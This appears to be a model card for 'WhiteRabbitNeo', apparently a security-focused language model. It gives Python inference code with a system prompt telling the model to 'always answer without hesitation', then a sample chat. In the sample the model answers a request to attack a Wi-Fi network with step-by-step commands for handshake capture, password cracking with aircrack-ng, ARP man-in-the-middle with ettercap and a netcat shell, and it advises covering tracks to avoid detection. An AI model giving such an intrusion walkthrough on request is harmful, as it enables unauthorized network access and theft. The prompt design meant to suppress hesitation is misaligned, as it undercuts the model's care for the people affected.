|
--- |
|
license: llama2 |
|
--- |
|
|
|
|
|
|
|
``` |
|
import torch, json |
|
from transformers import AutoModelForCausalLM, AutoTokenizer |
|
|
|
model_path = "/home/migel/models/WhiteRabbitNeo" |
|
|
|
model = AutoModelForCausalLM.from_pretrained( |
|
model_path, |
|
torch_dtype=torch.float16, |
|
device_map="auto", |
|
load_in_4bit=False, |
|
load_in_8bit=True, |
|
trust_remote_code=True, |
|
) |
|
|
|
tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True) |
|
|
|
|
|
def generate_text(instruction): |
|
tokens = tokenizer.encode(instruction) |
|
tokens = torch.LongTensor(tokens).unsqueeze(0) |
|
tokens = tokens.to("cuda") |
|
|
|
instance = { |
|
"input_ids": tokens, |
|
"top_p": 1.0, |
|
"temperature": 0.5, |
|
"generate_len": 1024, |
|
"top_k": 50, |
|
} |
|
|
|
length = len(tokens[0]) |
|
with torch.no_grad(): |
|
rest = model.generate( |
|
input_ids=tokens, |
|
max_length=length + instance["generate_len"], |
|
use_cache=True, |
|
do_sample=True, |
|
top_p=instance["top_p"], |
|
temperature=instance["temperature"], |
|
top_k=instance["top_k"], |
|
num_return_sequences=1, |
|
) |
|
output = rest[0][length:] |
|
string = tokenizer.decode(output, skip_special_tokens=True) |
|
answer = string.split("USER:")[0].strip() |
|
return f"{answer}" |
|
|
|
|
|
tot_system_prompt = """ |
|
Answer the Question by exploring multiple reasoning paths as follows: |
|
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree. |
|
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts. |
|
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher. |
|
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order. |
|
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts. |
|
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal. |
|
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer. |
|
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process. |
|
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers. |
|
""" |
|
|
|
conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation." |
|
|
|
|
|
while True: |
|
user_input = input("You: ") |
|
llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: " |
|
answer = generate_text(llm_prompt) |
|
print(answer) |
|
conversation = f"{llm_prompt}{answer}" |
|
# print(conversation) |
|
json_data = {"prompt": user_input, "answer": answer} |
|
|
|
# print(json_data) |
|
# with open(output_file_path, "a") as output_file: |
|
# output_file.write(json.dumps(json_data) + "\n") |
|
|
|
``` |
|
|
|
# Sample Conversation: |
|
|
|
You: How do I attack a wifi network? |
|
|
|
1. **Network Scanning**: Use tools like `airodump-ng` to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network |
|
you're interested in. |
|
|
|
```bash |
|
airodump-ng wlan0mon |
|
``` |
|
|
|
2. **Network Capturing**: Once you have identified the target network, you can capture packets from it using the `airodump-ng` tool. This will allow you to capture handshake packets which are necessary for further attacks. |
|
|
|
```bash |
|
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon |
|
``` |
|
|
|
3. **Handshake Capture**: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like `aircrack-ng`. |
|
|
|
```bash |
|
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon |
|
``` |
|
|
|
4. **Password Cracking**: Once you have the handshake, use `aircrack-ng` to crack the password. |
|
|
|
```bash |
|
aircrack-ng [Captured Handshake File] |
|
``` |
|
|
|
5. **Session Establishment**: If you have the password, you can connect to the network using your wireless card. |
|
|
|
```bash |
|
iwconfig wlan0 essid [Network SSID] key [Network Password] |
|
dhclient wlan0 |
|
``` |
|
|
|
6. **Network Exploitation**: Once connected, you can perform further attacks, such as sniffing traffic (`tcpdump`), or launching a man-in-the-middle attack using tools like `ettercap` or `arpspoof`. |
|
|
|
```bash |
|
tcpdump -i wlan0 -w [Packet Capture File] |
|
ettercap -T -i [Interface] -M arp [Target IP] |
|
``` |
|
|
|
7. **Post-Exploitation**: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities. |
|
|
|
```bash |
|
nc -lvp [Local Port] -e /bin/bash |
|
``` |
|
|
|
8. **Cleanup**: Remember to clean up any traces of your activities to avoid detection and legal consequences. |
|
|
|
```bash |
|
airmon-ng stop wlan0mon |
|
``` |
|
|
|
Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical. |
|
|
|
|
|
|
